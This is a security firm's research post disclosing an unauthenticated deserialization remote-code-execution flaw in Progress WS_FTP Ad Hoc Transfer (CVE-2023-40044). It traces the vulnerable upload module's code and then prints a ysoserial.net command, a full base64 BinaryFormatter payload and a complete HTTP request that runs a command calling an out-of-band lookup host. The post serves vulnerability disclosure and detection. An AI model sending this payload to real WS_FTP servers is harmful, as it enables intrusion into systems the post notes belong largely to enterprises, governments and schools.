Research Notes
September 30, 2023

RCE in Progress WS_FTP Ad Hoc via IIS HTTP Modules (CVE-2023-40044)

No items found.
Creative Commons license
Executive Team Note: Our coordinated disclosure policy works on a 90 day timeline where we will disclose via our website 90 days after we report to a vendor. If a patch is released prior to that time our general policy is to allow 30 days before disclosure to allow for patch uptake. However, if an exploit or PoC is publicly released independently within that timeline we will publish. In this case, there was an independent researcher on Twitter/X that publicly disclosed a PoC after the patch was released so we published our research to provide more context around the vulnerability.

Over the last year or so, we've seen the mass exploitation of managed file transfer software. From GoAnywhere MFT, MOVEIt, and our own work on Citrix Sharefile. The threats towards enterprises through managed file transfer software has really hit home after the recent ransomware attack by Cl0p, leveraging a series of vulnerabilities in Progress MOVEIt.


When looking at one of our targets attack surface, we came across another managed file transfer software called WS_FTP. This software is built by Progress, the same company that created the MOVEIt File Transfer software. We were able to easily download a copy of this software through the following URL (by signing up to the trial):

https://aws.ipswitch.com/?SERIAL=A295P8XCUE7PVFD&UAP=NNSV5DM4&PATH=/ft/WS_FTP/Server/2022.0.1/WS_FTP_Server-2022.0.1.exe

After installing the software and decompiling the source code using ILSpy, as usual we begun the process of mapping out the attack surface. This particular vulnerability was found from sink -> source, where we discovered the deserialization sink and worked our way up towards the source.


Ultimately, we discovered that the vulnerability could be triggered without any authentication, and it affected the entire Ad Hoc Transfer component of WS_FTP. It was a bit shocking that we were able to reach the deserialization sink without any authentication.


About IIS HTTP Modules

IIS HTTP Modules allow developers to run code within the lifecycle of a HTTP request. The convention of HTTP modules is similar to "middleware" that you might see in other web application frameworks.


The issue discovered in Progress WS_FTP was within a HTTP Module called <span class="code_single-line">MyFileUpload.UploadModule</span>. This HTTP module is responsible for _all_ file uploads made within the AHT application. It was wild to see all file upload functionality being implemented inside a HTTP module, as our belief as engineers is that HTTP modules should not be responsible for file upload functionality (especially given that HTTP modules run on literally every request cycle).


The <span class="code_single-line">web.config</span> entry for the HTTP module looked like this:


   <httpModules>
     <add name="extend_session_module" type="AHT.Main.ExtendUserSessionModule" />
     <add name="upload_module" type="MyFileUpload.UploadModule, fileuploadlibrary, Version=4.0.0.0" />
   </httpModules>

The documentation for IIS HTTP Modules was helpful in understanding how the different functions within <span class="code_single-line">MyFileUpload.UploadModule</span> are triggered [1].


Technical Details

As seen above, the module <span class="code_single-line">MyFileUpload.UploadModule</span> is declared inside the <span class="code_single-line">web.config</span>. This module is responsible for dynamic file upload functionality inside the AHT application. This works by determining whether or not a request is a file upload request and then performing certain operations on the input data if it is.


We can follow the source to sink for the deserialization issue below. We will start off by looking at the file located at <span class="code_single-line">FileUploadLibrary/MyFileUpload/UploadModule.cs</span>.


The file starts off by determining whether or not the request is a file upload request ( multipart). Depending on this it sets a session state behaviour. If we do send a valid multipart file upload request, we end up at the following line of code:


using FormStream formStream = new FormStream(GetProcessor(), boundary, httpApplication.Request.ContentEncoding);


Stepping into the FormStream code located at <span class="code_single-line">FileUploadLibrary/MyFileUpload/FormStream.cs</span>, we determined that we needed to reach the `ProcessField` function. In order to do this, we had to craft a multipart payload which did not contain a <span class="code_single-line">filename</span>, but rather just the <span class="code_single-line">name</span> field.


Inside the <span class="code_single-line">ProcessField</span> function, we needed to reach <span class="code_single-line">CheckForActionFields</span>. Through dynamic debugging, we were able to confirm that we were reaching <span class="code_single-line">CheckForActionFields</span> with our multipart request.


<span class="code_single-line">ProcessField</span> calls the <span class="code_single-line">CheckForActionFields</span> function, which ultimately calls <span class="code_single-line">UploadManager.Instance.DeserializeProcessor</span>:

private void CheckForActionFields()
   {
       byte[] array = _currentField.ToArray();
       string result = string.Empty;
       int num = IndexOf(array, BOUNDARY);
       if (!TryParseActionField(ID_TAG, array, out result, num))
       {
           string result2 = string.Empty;
           if (TryParseActionField(DEFAULT_PARAMS_TAG, array, out result2, num))
           {
               _defaultProcessor = UploadManager.Instance.DeserializeProcessor(result2.Substring(DEFAULT_PARAMS_TAG.Length));
               _processor = _defaultProcessor;
               _currentField = new MemoryStream();
               return;
           }


The <span class="code_single-line">DeserializeProcessor</span> function can be found below:

internal IFileProcessor DeserializeProcessor(string input)    
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    byte[] buffer = Convert.FromBase64String(input);
    MemoryStream serializationStream = new MemoryStream(buffer);
    SettingsStorageObject settingsStorageObject = (SettingsStorageObject)binaryFormatter.Deserialize(serializationStream);


We confirmed we were able to reach this function while debugging the software, with our own user input that ends up in the <span class="code_single-line">serializationStream</span> variable:



In order to execute arbitrary commands through deserialization, we can use ysoserial.net with the following command:


./ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd.exe /C nslookup wuui3r1tbpx4pwl6ao5dztkiq9w2ks8h.oastify.com" -o base64

This will generate a serialized payload such as:


AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAEMvYyBjbWQuZXhlIC9DIG5zbG9va3VwIHd1dWkzcjF0YnB4NHB3bDZhbzVkenRraXE5dzJrczhoLm9hc3RpZnkuY29tBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=

The final HTTP request to trigger the RCE can be found below:

POST /AHT/AhtApiService.asmx/AuthUser HTTP/2
Host: target
Cookie: ASP.NET_SessionId=lilzf4yfwobb5fsaelo5abez
Content-Length: 3269
Access-Control-Allow-Origin: *
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Content-Length: 3269
Content-Type: multipart/form-data; boundary=---------------------------9051914041544843365972754266


-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name=""; 

::AHT_DEFAULT_UPLOAD_PARAMETER::AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAEMvYyBjbWQuZXhlIC9DIG5zbG9va3VwIHd1dWkzcjF0YnB4NHB3bDZhbzVkenRraXE5dzJrczhoLm9hc3RpZnkuY29tBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
-----------------------------9051914041544843365972754266---


This will lead to the command <span class="code_single-line">cmd.exe /C nslookup wuui3r1tbpx4pwl6ao5dztkiq9w2ks8h.oastify.com</span> successfully being executed by the application.


Note, due to the nature of HTTP Modules, the GET URL can be any of the routes within the Ad Hoc Transfer application. This makes it a bit tricky for WAFs to detect if they are only relying on the GET URL. Further inspection on the contents of the request is required to sufficiently detect exploitation and/or protect your WS_FTP instance.


Conclusion

This vulnerability turned out to be relatively straight forward and represented a typical .NET deserialization issue that led to RCE. It's surprising that this bug has stayed alive for so long, with the vendor stating that most versions of WS_FTP are vulnerable.


From our analysis of WS_FTP, we found that there are about 2.9k hosts on the internet that are running WS_FTP (and also have their webserver exposed, which is necessary for exploitation). Most of these online assets belong to large enterprises, governments and educational institutions.


As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.

Written by:
Shubham Shah
Sean Yeoh
Your subscription could not be saved. Please try again.
Your subscription has been successful.

Get updates on our research

Subscribe to our newsletter and stay updated on the newest research, security advisories, and more!

Ready to get started?

Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.